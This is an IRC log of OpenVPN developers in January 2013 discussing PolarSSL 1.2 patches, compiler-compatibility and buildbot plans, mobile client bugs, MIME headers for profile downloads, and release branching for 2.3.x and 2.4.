<https://community.openvpn.net/openvpn/ticket/250> 14:54 <@cron2> andj: this is yours :) 19:13 -!- raidz is now known as raidz_away --- Day changed Sat Jan 12 2013 02:55 <@mattock> ah, we should add polarssl 1.2.0 development headers to the buildslaves 11:18 <@cron2> mattock: as far as I understand, we need patches to make it work with 1.2.0 - adding headers to the buildslave alone isn't enough 11:23 <@andj> cron2, mattock 11:23 <@andj> we've got a bunch of patches ready 11:23 <@andj> but 1.2.0-1.2.2 were bbroken 11:23 <@cron2> andj: I was aware of the patch set, which is why I didn't ask around etc, just point into your direction :-) 11:24 <@andj> and we had to get some fixes in before OpenVPN worked with client certs 11:24 <@cron2> andj: is there a non-broken 1.2.3? 11:24 <@andj> on PolarSSL 11:24 <@andj> the matches are almost done, and I'll see whether I can get my colleague to post them somewhere next week. 11:24 <@andj> matches = patches 11:25 <@andj> PolarSSL changes a bunch of things to make it more standards compliant. Unfortunately this also breaks API compatibility :( 12:11 <@ecrist> did any of you see the posts to -devel from mandree? 12:22 <@andj> not yet 14:11 <@cron2> ecrist: just saw it - nice :-) 14:11 <@cron2> need to upgrade our freebsd servers when I'm back 14:31 <@cron2> mattock, dazo: is https://community.openvpn.net/openvpn/wiki/CodeRepositories still correct? is there a 2.3 branch now? 14:31 <@vpnHelper> Title: CodeRepositories – OpenVPN Community (at community.openvpn.net) 17:15 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 17:17 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 17:17 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ --- Day changed Sun Jan 13 2013 00:31 <@andj> cron2: sorry, somehow missed your comment, there is a non-broken 1.2.3 02:08 <@mattock> cron2: re: buildslave: yes, I meant to catch issues like this polarssl build failure 02:26 -!- mattock is now known as mattock_afk 11:20 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:20 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:25 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds] 17:31 -!- Matt_P [~Parlane@ec2-23-21-49-97.compute-1.amazonaws.com] has joined #openvpn-devel 17:32 -!- Matt_P [~Parlane@ec2-23-21-49-97.compute-1.amazonaws.com] has left #openvpn-devel [] --- Day changed Mon Jan 14 2013 02:51 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Read error: Connection reset by peer] 02:51 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 02:51 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 03:26 -!- syzzer [~steffan@50709F7C.static.ziggozakelijk.nl] has joined #openvpn-devel 03:26 -!- syzzer [~steffan@50709F7C.static.ziggozakelijk.nl] has quit [Client Quit] 03:31 -!- dazo_afk is now known as dazo 03:54 -!- syzzer [~steffan@50709F7C.static.ziggozakelijk.nl] has joined #openvpn-devel 10:52 -!- dazo is now known as dazo_afk 11:03 -!- raidz_away is now known as raidz 11:45 -!- Lord-M [~LordM@ip-80-113-202-148.ip.prioritytelecom.net] has joined #openvpn-devel 11:46 < Lord-M> Anybody around who can help me with an issue I'm having after upgrading from OpenVPN 2.2.2 to 2.3.0 (on Windows)? 11:46 < Lord-M> erm sorry, just read the channel description... 11:47 < Lord-M> nm 12:28 -!- Lord-M [~LordM@ip-80-113-202-148.ip.prioritytelecom.net] has quit [Quit: Cheers!] 14:13 -!- mattock_afk is now known as mattock 15:11 -!- dazo_afk is now known as dazo 16:01 -!- raidz is now known as raidz_away 16:10 -!- raidz_away is now known as raidz 17:28 -!- dazo is now known as dazo_afk 19:49 -!- raidz is now known as raidz_away --- Day changed Tue Jan 15 2013 11:10 -!- raidz_away is now known as raidz 17:05 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Read error: Operation timed out] 17:06 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 19:57 -!- raidz is now known as raidz_away --- Day changed Wed Jan 16 2013 02:36 <@cron2> moin 03:26 <@plaisthos> moin cron2 04:11 <@cron2> mattock: we need a visual studio buildbot... 04:33 <@mattock> cron2: you mean openvpn-build/msvc? 04:33 <@mattock> or the old python-thingy? 04:40 <@cron2> mattock: no idea *how* you build with visual studio today :-) - but "not with gcc" 04:43 <@cron2> the point is that we've just released 2.3.0 which does not compile with MSVC - this is sort of lame, and we *could* check for it... 04:46 <@cron2> (and I need to look closer for this very typical issue when ACKing patches.. 05:02 <@d12fk> can't we put the msvc compiler in c99 mode instead 05:33 <@plaisthos> iirc cl.exe is c89 and c+11 05:33 <@plaisthos> maybe the newest version has finally implemted c99/c11 05:33 <@plaisthos> other than that you can always use icc 05:46 <@cron2> d12fk: you could just learn not to do this sort of construct :-) 05:50 <@mattock> I'll try to make the old Win2008r2 build computer run buildbot and add some openvpn-build/msvc build tests 05:51 <@mattock> while I'm at it, I'll add some cross-compile (openvpn-build/generic|windows-nsis) build tests also 05:51 <@cron2> both would be cool :-) 05:51 <@mattock> that'll keep me busy tomorrow and on friday at least :D 05:52 -!- mattock is now known as mattock_afk 05:56 <@d12fk> cron2: maybe we can have gcc warn me to hack my code into stone plates instead =P 05:59 <@plaisthos> https://github.com/rbultje/c99-to-c89 05:59 <@plaisthos> :D 05:59 <@vpnHelper> Title: rbultje/c99-to-c89 · GitHub (at github.com) 06:05 -!- mattock_afk is now known as mattock 06:06 <@cron2> d12fk: now that is something we should consider :-) "--pedantic --Whit-me-if-needed" 06:06 <@cron2> plaisthos: this sounds scary 06:09 <@d12fk> don't we have a pedantic configure option? we could add -Werror and use it to test conformance before we release 06:09 <@d12fk> or even for the nightlies 06:11 <@cron2> right now, I don't think we have, but I agree we want that 06:23 <@d12fk> if test "${enable_pedantic}" = "yes"; then 06:23 <@d12fk> enable_strict="yes" 06:23 <@d12fk> CFLAGS="${CFLAGS} -pedantic" 06:23 <@d12fk> test "${WIN32}" != "yes" && CFLAGS="${CFLAGS} -ansi" 06:23 <@d12fk> fi 06:24 <@d12fk> -ansi In C mode, this is equivalent to -std=c89. 06:25 <@d12fk> so, `./configure --enable-pedantic CFLAGS=-Werror` should do the trick 06:27 <@d12fk> oh 06:27 <@d12fk> if test "${enable_strict}" = "yes"; then 06:27 <@d12fk> CFLAGS="${CFLAGS} -Wall -Wno-unused-parameter -Wno-unused-function" 06:27 <@d12fk> fi 06:27 <@d12fk> will most def break for good =) 06:28 <@cron2> looks good 06:29 <@d12fk> mattock: wanna be pedantic at the nightly builds? 06:29 <@d12fk> we should get rid of the WIN32 test though 06:31 <@cron2> mmh? 06:34 <@plaisthos> this all reminds that I should resubmit my Clang compiler warning patches 06:41 * cron2 is afraid that this is going to turn into lots of work... :-) 06:56 <@plaisthos> the clang warnings are not that many 06:57 <@plaisthos> and someone promised to look into the broken if (ir6->netbits >= 0) 06:57 <@plaisthos> comparisions :) 07:01 <@cron2> see, this is why I *knew* it would cause work :-) 07:01 <@cron2> dang 07:03 <@d12fk> clang ~= dang, with the font I'm using btw 07:03 <@cron2> haha 07:10 -!- dazo_afk is now known as dazo 07:26 <@dazo> d12fk: pedantic mode is possible ... but the result is a useless binary 07:26 <@dazo> and the WIN32 tests, aren't they needed when cross compiling with mingw? 07:26 <@cron2> dazo: ? 07:27 <@dazo> <d12fk> [13:29:09] mattock: wanna be pedantic at the nightly builds? 07:27 <@cron2> -pedantic shouldn't break the code, just be pedantic about stuff 07:27 <@dazo> cron2: I know ... but there's some #ifdef's ....... 07:27 <@dazo> I think it might be due to some old gcc versions which did really odd stuff with -pedantic 07:28 <@dazo> git grep -ni pedantic 07:28 <@dazo> error.h:164:# if !PEDANTIC 07:28 <@dazo> openvpn.c:136:#if PEDANTIC 07:28 <@dazo> openvpn.c:137: fprintf (stderr, "Sorry, I was built with --enable-pedantic and I am incapable of doing any real work!\n"); 07:28 <@dazo> syshead.h:366: * Pedantic mode is meant to accomplish lint-style program checking, 07:28 <@cron2> dazo: ouch 07:28 <@dazo> syshead.h:370:# define PEDANTIC 1 07:28 <@dazo> syshead.h:378:# define PEDANTIC 0 07:28 <@dazo> tun.c:1387:#if !PEDANTIC 07:28 <@dazo> yupp 07:29 <@cron2> yeah, just found that - that doesn't make sense. 07:30 <@dazo> So far, this haven't annoyed me so much I've looked deep into it 07:30 <@d12fk> dazo: WIN32, i meant just the one within the enable_pedantic handling code 07:31 <@cron2> I have compiled other stuff with -pedantic before, and never ran into weird issues so far (just warnings that are not *that* helpful), so this raises my curiousity :-) 07:31 <@d12fk> what i meant was to be pedantic in parallel to the regular build 07:31 <@dazo> d12fk: you mean we should do -ansi always? 07:31 <@d12fk> hm, that would be an option as well 07:32 <@d12fk> to generally compile in c89 mode 07:32 <@dazo> we could probably have one more build with -enable-pedantic 07:32 <@d12fk> regardless of -pedantic 07:32 <@d12fk> if it's a c89 project, why not be reeal about it 07:33 <@dazo> fair enough ... however ... I'd rather like to kill off MSVC which doens't handle proper C standards .... 07:33 <@cron2> dazo: c89 *is* a proper C standard 07:33 <@dazo> Yeah, I meant: proper *up to date* C standards 07:33 <@d12fk> it's a result of the cold war most probably =) 07:34 <@dazo> hehe 07:35 <@dazo> (C99 is 14 years old ... it's not /that/ new any more) 07:37 <@cron2> isn't there anything more recent? why bother with a 14-year old standard in the first place? *duck* 07:37 <@dazo> hehe 07:56 <@plaisthos> cron2: C11 07:58 <@dazo> http://en.wikipedia.org/wiki/C99 .... "As of Visual C++ 2010, there are no plans to support C99.[16][17] The forthcoming Visual C++ 2011 will also lack C99 support.[18]" 07:58 <@vpnHelper> Title: C99 - Wikipedia, the free encyclopedia (at en.wikipedia.org) 08:02 <@plaisthos> It seem it is called Visual C++ for a reason 11:10 -!- raidz_away is now known as raidz 18:32 <@raidz> IOS App now Available in the App Store... cron2 18:35 <@raidz> https://itunes.apple.com/us/app/openvpn-connect/id590379981 18:35 <@vpnHelper> Title: OpenVPN Connect for iPhone 3GS, iPhone 4, iPhone 4S, iPhone 5, iPod touch (3rd generation), iPod touch (4th generation), iPod touch (5th generation) and iPad on the iTunes App Store (at itunes.apple.com) 19:42 -!- raidz is now known as raidz_away 20:10 -!- dazo is now known as dazo_afk 22:38 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has quit [Read error: Operation timed out] 22:40 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel --- Day changed Thu Jan 17 2013 02:25 <@cron2> wooooh! 02:26 * cron2 does the happy dance 02:29 <@andj> Whee, Steffan (colleague of mine) posted the PolarSSL support patches 02:29 <@andj> there's more incoming, for a couple of new features, including management external key 02:29 <@andj> but they need some cleanup 03:07 <@plaisthos> If I had an iOS device I would test the app 04:04 <@plaisthos> A college of mine did not manage to use it. No idea what is wrong though ... :/ 04:09 <@plaisthos> Appearently the app imports the profile but does not ask him about the certificates 04:21 <@plaisthos> putting <ca></ca> in the config fixes the problem 04:22 <@plaisthos> But I doubt any of the other user at our university will to come that conclusion :( 04:22 <@plaisthos> (Extracting ca cert from pkcs12, using the non documented (< 2.3) inlining, to fix "CORE_ERROR PolarSSL: error parsing ca certificate : X509 - The certificate format is invalid, e.g. different type expected [ERR]") 04:52 <@cron2> plaisthos: I have tested with inline profiles, and that always worked for me. Kris Köhntopp tested with external key/cert/ca today (import via itunes-sync, however that works), and that also worked fine. 04:53 <@cron2> but getting files on an iDevice is a PITA - the best bet seems to be ".ovpn with inline stuff on a webserver with proper MIME headers, then click on it in safari -> will hand over to openvpn client" 05:03 <@plaisthos> :) 05:03 <@plaisthos> cron2: do you know which mime headers the offical openvpn connect expects? 05:04 <@cron2> yup 05:04 <@cron2> mom 05:04 <@cron2> in my .htaccess I have: 05:04 <@cron2> AddType application/x-openvpn-profile ovpn 05:05 <@cron2> <Files Match ".*\.ovpn\$"> 05:05 <@cron2> SetEnvIf Request_URI "^.*/([^/]*)$" FILENAME=\$1 05:05 <@cron2> Header set "Content-Disposition" "attachment; filename=\"%{FILENAME}e\"" 05:05 <@cron2> </FilesMatch> 05:05 <@cron2> Safari needs the "Content-Disposition:" header, otherwise it won't try to save it. Stupid 05:12 <@plaisthos> ah great 05:12 <@plaisthos> another type than I used 05:13 <@plaisthos> lets look into the OPenVPN Connect apk ... 05:13 <@plaisthos> that also uses application/x-openvpn-profile 05:14 <@plaisthos> oh well I use that mime type too 05:14 <@plaisthos> nevermind 05:14 <@plaisthos> I have only application/ovpn as additional type since my emails via exchange ended up having that type 05:21 <@plaisthos> cron2: but thanks :) 05:21 <@cron2> if you use that type as well, it will help me with a mixed user base :-) 05:22 <@plaisthos> cron2: yeah. I should work out of the box with my app :) 05:22 <@cron2> (though my current setup doesn't work with Android anyway, as the web server directory is password protected and android-chrome is unable to download files with http basic authentication...) 05:22 <@cron2> works nicely with opera mini... 05:23 <@plaisthos> cron2: yeah. Crome gives the link to the download app without the credentionals 05:23 <@plaisthos> I have been bitten by that too 06:37 -!- mattock is now known as mattock_afk 07:19 -!- mattock_afk is now known as mattock 07:58 -!- dazo_afk is now known as dazo 09:07 -!- Netsplit *.net <-> *.split quits: @cron2 10:53 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:53 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:01 -!- raidz_away is now known as raidz 12:56 <@mattock> migrating Trac, please don't use it for a while 13:01 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 13:20 -!- raidz is now known as raidz_away 13:21 -!- raidz_away is now known as raidz 13:25 -!- Tiaos [~Tiaos@ec2-54-243-138-105.compute-1.amazonaws.com] has joined #openvpn-devel 13:26 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:26 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 13:28 -!- Tiaos_ [~Tiaos@ec2-54-243-138-105.compute-1.amazonaws.com] has quit [Ping timeout: 245 seconds] 13:28 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 13:28 -!- mattock_ is now known as mattock 13:59 <@mattock> Trac migration/upgrade complete 13:59 <@mattock> theme needs a minor fix for some browsers, otherwise it should "just work"(tm) 14:01 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 14:01 -!- mode/#openvpn-devel [+v novaflash] by ChanServ 14:01 <+novaflash> mattock, are you alive? 14:16 * ecrist reboots forum 14:16 <+novaflash> something wrong with the forum ecrist? 14:21 <@ecrist> no, working on an upgrade 14:22 <@mattock> novaflash: afaik 14:22 <+novaflash> mattock: okay. good. 14:23 <+novaflash> mattock: i sent you an updated openvpn.css file for trac that should resolve the visual artifact 14:23 <+novaflash> if you have any more questions i'm available here 14:26 <@mattock> ok, excellent, thanks! 14:27 <+novaflash> you're quite welcome 14:27 <@mattock> yeah, much better now 14:30 -!- cron2_ [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 14:30 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 16:01 <@cron2_> mattock: user registration on community (https://community.openvpn.net/register) is borked and is throwing internal server error. Is that yours or ecrist to fix? 16:31 -!- dazo is now known as dazo_afk 20:01 -!- raidz is now known as raidz_away --- Day changed Fri Jan 18 2013 01:24 -!- raidz_away is now known as raidz 01:26 -!- raidz is now known as raidz_away 02:00 <@mattock> cron2: ok, fixing 02:07 <@mattock> ok, seems to work now 02:07 <@mattock> I'll do a complete test to make sure 03:25 <@mattock> seems to work ok 03:30 <@cron2_> mattock: thanks 03:30 * cron2_ is having a good day - rolling out iOS OpenVPN to customers, and already found a bug in the iOS client :-) 04:25 -!- dazo_afk is now known as dazo 07:23 <@ecrist> mattock: did you change the sshd config, or root's ssh keys on community? 07:59 <@mattock> ecrist: yes, it a new server 09:12 <@plaisthos> from the current rate of downloads the app could hit the 100000 download mark just before FOSDEM :) 09:26 * dazo smells a reason for a party :-P 09:28 <@plaisthos> dazo: :D 09:43 <@plaisthos> and its last milestone the app will take for a long time ... because after it is shown as 100 000 - 500 000 installs 10:50 <@cron2_> plaisthos: I'm impressed - and I have found something to investigate for you :-) - the app doesn't work "in non-obvious ways" for secondary users on my n7... 10:51 <@dazo> plaisthos: and if I may have a suggestion ... instead of having to go into a "subfolder" of VPN profiles, would it be possible to list them in the first screen? 10:54 <@cron2_> dazo: tablet or phone? 11:03 -!- raidz_away is now known as raidz 11:08 <@dazo> cron2_: phone 12:00 <@cron2_> dazo: is there enough screen real estate? on the tablet, there easily is, but phones tend to be "crammed"... 12:02 <@dazo> I was suggesting that the contents of "VPN Profiles" screen should be the start screen ... and that the other three elements either comes in a menu, or a icon somewhere 12:02 <@dazo> to avoid clicking too much 12:03 <@cron2_> ah, yes. Indeed the menu structure could be flattened somewhat 12:19 <@cron2_> (... and if we start complaining more about the app, plaisthos will stop cleaning up socket.c, I'm afraid, so I'll stop now :) ) 12:22 <@cron2_> plaisthos: but seriously, have you tried this on a 4.2 system with multiple users? It's not exactly clear to me how this is supposed to work, if at all, but it just does "nothing" for me when I click on a VPN profile (just returns to the menu) *or* starts up openvpn just fine, and then errors out with "P:ERROR:Cannot open TUN" 12:23 <@cron2_> (and if that happens, the UI thinks "we are connected" while the background openvpn process is terminated...) 12:24 <@cron2_> I'll send you the log :) 12:58 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 13:32 <@cron2_> (or not, as gmail just refused to let *this* account log in... weird) 14:36 <@plaisthos> cron2_: I will try with multiple users 14:36 <@plaisthos> cron2_: I have a n7 myself 14:36 <@plaisthos> cron2_: the android app includes a lot of the socket.c cleanup stuff 14:36 <@plaisthos> ;) 14:36 <@plaisthos> at least of dual stack client support 14:37 <@cron2_> which is cool, because it gets that stuff tested ;-) 14:38 <@plaisthos> I will look that bug after my vacation 14:38 <@plaisthos> I am in .at for week snow boarding 14:38 <@cron2_> good plan. lots of snow everywhere - enjoy 14:38 <@plaisthos> cron2_: thanks 14:39 <@plaisthos> cron2_: I fear that is a bug/feature in google multi user experience 14:39 <@cron2_> yes, something like that - not that it would make much sense... 14:40 <@plaisthos> cron2_: sometimes in the adb logcat a debug messages is printed 14:41 <@plaisthos> But all time I or other users ran into that error message it was usually broken permission on /dev/tun so the system framework could not open /dev/tun 14:41 <@plaisthos> I might require a permission that only the main user is granted 14:41 <@plaisthos> but I will look into that in week :) 14:41 * cron2_ doesn't understand the whole multiuser concept of android yet 16:02 -!- dazo is now known as dazo_afk 18:19 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in] 18:19 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....] 18:20 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 18:20 -!- mode/#openvpn-devel [+o raidz] by ChanServ 19:27 -!- raidz is now known as raidz_away --- Day changed Sat Jan 19 2013 03:15 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has quit [Ping timeout: 276 seconds] 03:32 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 03:32 -!- mode/#openvpn-devel [+v novaflash] by ChanServ 05:03 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 05:03 -!- mode/#openvpn-devel [+o andj] by ChanServ 07:39 -!- nucleo [nucleo@fedora/nucleo] has joined #openvpn-devel 07:39 -!- nucleo [nucleo@fedora/nucleo] has left #openvpn-devel ["just make this person in IRC be quiet http://goo.gl/4RGta"] 09:34 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:34 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 09:34 -!- mattock_afk is now known as mattock 16:19 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 16:30 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 16:30 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 16:30 -!- dazo_afk is now known as dazo 18:52 -!- d12fk [~heiko@exit0.net] has quit [Quit: ZNC - http://znc.sourceforge.net] --- Day changed Sun Jan 20 2013 06:57 <@cron2_> james wins again... "--renec-sec 0" 08:34 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out] 08:40 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 09:24 -!- Irssi: #openvpn-devel: Total of 15 nicks [8 ops, 0 halfops, 1 voices, 6 normal] 09:52 -!- lipi [~lipi@69.204.223.87.dynamic.jazztel.es] has joined #openvpn-devel 09:52 < lipi> Hello 09:53 < lipi> I want to create my own installer for OpenVPN + OpenVPN GUI 09:54 < lipi> Which software do the developers of openvpn use? 09:54 < lipi> Specially I would like to add my own certificates to the installer 10:37 * cron2_ points at the wiki on https://community.openvpn.net/ - there's a section on building openvpn, which I think covers windows cross-compiling from linux as well 10:37 <@vpnHelper> Title: OpenVPN Community (at community.openvpn.net) 11:47 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 12:21 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 12:21 -!- mode/#openvpn-devel [+o andj] by ChanServ 12:28 -!- lipi [~lipi@69.204.223.87.dynamic.jazztel.es] has quit [Quit: Me'n vaig] 12:54 <@cron2_> dazo: how are "our" plans for 2.3.1 and 2.4-branching? --- Day changed Mon Jan 21 2013 04:44 <@dazo> cron2_: master is our 2.4 code base ... I usually branch out when we reach alpha or beta releases 04:45 <@dazo> release plans .... no one yet ... I know I'm building up a backlog ... but I have quite a lot todo at $paidWork ... so need to have focus there 04:49 <@andj> cron2_: you around? 04:50 <@dazo> But I'd like to postpone all which can be postponed for FOSDEM weekend, and I'll rather spend time there getting up to speed 04:50 <@andj> morning btw :) 04:50 <@andj> I'm looking at what's best for the Polar 1.2 patches 04:51 <@andj> and thought an IRC discussion might be better that a mail discussion :) 04:51 <@dazo> andj: I just briefly looked at a couple of them .... maybe we should have some "translation" table for those 'cipher names', to make configs purely SSL layer independent? 04:52 * dazo doubt OpenSSL uses the "proper" RFC cipher names 04:52 <@andj> yeah, sounds good, trouble is that we then need to decide whether to use RFC or OpenSSL :) 04:52 * dazo votes for RFC 04:53 <@dazo> standards are standards :) 04:53 <@andj> Sounds like a 2.4 feature then :) 04:53 <@dazo> yupp! 04:53 <@dazo> of course we can have a temporary solution in 2.3.1 04:53 <@dazo> (which don't break 2.3) 04:53 <@andj> yeah, I'm hoping to just add the ifdef solution to 2.3.x, and removing 1.1 support in master 04:54 <@andj> If that's acceptable 04:54 <@dazo> That sounds acceptable to me .... but I'd like cron2's point in this regard 04:54 <@andj> or more correctly, ask Steffan to do that, since my programming time is a tad limited :( 04:54 <@andj> exactly, I'm hoping on his input :) 04:54 <@dazo> get Steffan to join here too? ;-) 04:55 * andj points at syzzer 04:55 <@dazo> ahh! :) 04:55 <@andj> (I think) 04:55 <@andj> But I'm not 100% sure :) 04:55 <@andj> I'll check with him 04:55 <@dazo> cool :) 04:56 <@andj> Anyway, I'll be back later for some discussion on what the best approach is 04:56 * andj runs off to a meeting 04:57 < syzzer> yes, it's me :) 05:19 <@cron2_> *now* I'm back, and andj is off... 05:19 <@cron2_> dazo: well, my point is "if there is no benefit in keeping 1.1 support (code-wise), then get rid of the #ifdef" 05:21 <@dazo> cron2_: so drop it for 2.4, and keep it in 2.3 - that's a good movement forward then ... 05:25 <@andj> cron2_: back 05:26 <@andj> Just spoke to syzzer about that as well: we could just keep the basic support patches for 2.3.x, and add the new functionality in 2.4 05:26 <@cron2_> dazo: why bother with it in 2.3? 05:27 <@dazo> cron2_: I believe we'll get quite some noise when polar-1.2 gets more widely spread among distros 05:27 <@andj> Mostly to help support distros 05:27 <@cron2_> dazo: no, you're misunderstanding me - I want to rip out 1.1 support in 2.3 as well 05:28 <@cron2_> we will have to maintain that code base for a while, and if we ever get to backport something related to polar ssl to 2.3, it's easier if there is no extra #ifdef mess 05:28 <@cron2_> andj: I'm fine with having "more functionality" in 2.4 only (and if everybody else tells me that WE MUST HAVE!! 1.1 support, I'll accept that) 05:28 <@andj> I have a bit of trouble with removing support for a library in a dot release 05:29 <@dazo> well, that'll break all distros not providing polar 1.2 yet ... we wouldn't ditch openssl 1.0 support instantly if 1.1 came out next week, would we? 05:29 <@dazo> 2.4 is easier to set the criterias for ... as that's not released yet ... but we're more tied to backwards and future lib support in released versions 05:30 <@cron2_> dazo: openvpn+polar 1.1 is close to useless for general purpose applications anyway, as it has no blowfish support 05:30 <@dazo> unless the user knows about it and already have configs using AES . 05:30 <@cron2_> so I can't really see us "break all distros" here, as noone is shipping openvpn-with-polar 05:30 * dazo believe openwrt now does ... 05:31 <@andj> Perhaps I'm looking at it from a different perspective: 1.1 is what we're currently offering, and I see 1.2 as an extra feature for those that need it 05:31 <@cron2_> openwrt has a package (openvpn-polarssl or so), but the default is still "compatible", thus openssl 05:31 * cron2_ sees 1.1 as a proof of concept, but not as a useful offering 05:32 <@cron2_> (except in well-defined non-standard environments) 05:32 <@andj> That might be the reason why we disagree here :) 05:32 <@cron2_> it's incompatible with the default config when built with openssl (and it's not I haven't said this before) 05:33 <@andj> I know, and it's not widely used atm 05:34 <@cron2_> andj: now we agree again .-) - and as it's not so widely used, I'm willing to sacrifice compatibility to increase code maintainability 05:34 <@andj> I'm just worried about the few people that are using it, or want to use it 05:34 <@cron2_> but as I said - I'm willing to accept if you all prefer to do it otherwise. I've made my point of view clear, and I'm not going to carry hard feelings (just to state that). 05:35 <@andj> Along the same lines, all things considered I vote for 1.1+ support in 2.3.x, 1.2+ support in master 05:36 <@andj> With the same disclaimer cron2_ just made :) 05:36 <@cron2_> haha :-) - so now it's dazo to decide, and we can all blaim him eternally 05:36 <@andj> whee 05:36 <@andj> I'm even willing to take responsibility for the blame 05:36 <@andj> :) 05:40 <@dazo> Okay, so in my head ... after having thought a bit more ... I agree with 1.1.x support (my interpretation of 1.1+) in 2.3.x and 1.2.x (or maybe even 1.3.x, etc) in 2.4 05:41 <@andj> syzzer is working on some patches for the master branch, without the ifdefs, so the problem will die out at some point 05:41 <@dazo> this makes it simpler, in my head ... maintenance wise 05:41 <@dazo> goodie! 05:42 <@andj> and since it's our code, we'll shoulder the burden of any extra maintenance on the extra code of course 05:42 <@dazo> :) 05:45 <@cron2_> ok, let's do it that way and get it out of the way :-) - it would be nice to have a 2.3.1 release fairly quickly, with the Polar 1.2 support, --ifconfig-ipv6-pool, and the c99 fixes 05:45 <@cron2_> andj: would you feel comfortable acking syzzer's patches, then, or do you want "someone else" to review this? I'm not qualified to really ack the polarssl bits, I can only rant about #ifdef :) 05:55 <@andj> I've looked at them and reviewed them internally, but I would prefer a non-fox-employee to look at them... 05:56 <@andj> Even if it's only to satisfy the tin-foil-hat-brigade :) 05:56 <@cron2_> yeah. I wonder who is qualified to look at the polarssl stuff. 05:57 <@dazo> considering the conspiracy rumours going on the net about Fox-IT and the Dutch government ... that might be a wise step for us to take 05:57 <@dazo> but sharing cron2_'s concern 05:58 <@dazo> I think it will be possible to ask james, if no one else turns up 05:58 <@andj> Just as a necessary addition: the work we've done on OpenVPN and PolarSSL was/is for the Dutch government, and I've always been open about that 05:59 <@andj> And you'll have to believe me when I tell you I didn't add any backdoors 05:59 <@andj> :) 05:59 <@cron2_> andj: could you point us at documentation for the error_strerror() and *flags stuff? 05:59 <@andj> The nice thing about Open Source is that you can verify that info 05:59 <@andj> syzzer? 06:00 <@cron2_> this could all be a big conspiracy, and the real backdoor is down in polarssl :-) 06:00 <@andj> oc 06:03 <@andj> The documentation for the error stuff is in the code 06:04 <@andj> and the flags stuff is at https://github.com/polarssl/polarssl/blob/master/include/polarssl/x509.h#L668 06:04 <@vpnHelper> Title: polarssl/include/polarssl/x509.h at master · polarssl/polarssl · GitHub (at github.com) 06:05 <@cron2_> andj: error_strerror() - that must be something from polar, it's not in openvpn (... as far as I can see) 06:06 <@andj> PolarSSL now works with a verification system that sends the things that went wrong in more detail through a flags variable 06:06 <@andj> instead of just yes/know 06:06 <@andj> docs for strerror: https://github.com/polarssl/polarssl/blob/master/include/polarssl/error.h#L91 06:06 <@vpnHelper> Title: polarssl/include/polarssl/error.h at master · polarssl/polarssl · GitHub (at github.com) 06:06 <@andj> Sorry, meant the source code in PolarSSL 06:07 <@cron2_> mmmh 06:07 <@andj> But was still looking it up 06:07 <@cron2_> patch 2/3 confuses me 06:08 <@cron2_> it's referencing *flags, but at least my copy of ssl_verify_polarssl.c does not have a "flags" variable 06:10 <@cron2_> ah 06:10 <@cron2_> *flags is introduced in patch 3/3 06:12 <@andj> I asked syzzer to help on that one :) 06:12 <@cron2_> the order of patches 2/3 and 3/3 is backwards 06:14 <@cron2_> calling a particular's library strerror() variant just "error_strerror()" is... interesting. Like, no other library might want such a function :-) - why is it not called polar_strerror()? 06:14 < syzzer> ah, yes, those are backwards 06:15 < syzzer> I'll reorder them 06:16 <@cron2_> nah, dazo can do that upon applying, now we know how they fit together :-) (but that means I can't ack 2/3, which sounded nicely trivial to me :-) without someone else acking 3/3 first) 06:20 < syzzer> ok, good. My train of though was indeed to first supply the trivial ones. Should have noticed it depended on the 1.2 patch though... 06:51 <@andj> I'll give my acks to the patches on the ML, noting that I'd like someone else to take a peek 07:12 <@ecrist> ping mattock 07:13 <@ecrist> or raidz 07:15 -!- Irssi: #openvpn-devel: Total of 15 nicks [8 ops, 0 halfops, 1 voices, 6 normal] 07:22 < syzzer> just sent out the patches without polar 1.1 support :) 07:42 * cron2_ pings as wel "forums is down"! 07:45 <@ecrist> that's why I pinged 07:45 <@ecrist> my upgrade failed 07:45 <@ecrist> I think it's stuck in boot land 07:45 <@ecrist> Request timeout for icmp_seq 1844 (and counting) 07:46 <@cron2_> oh, the evil 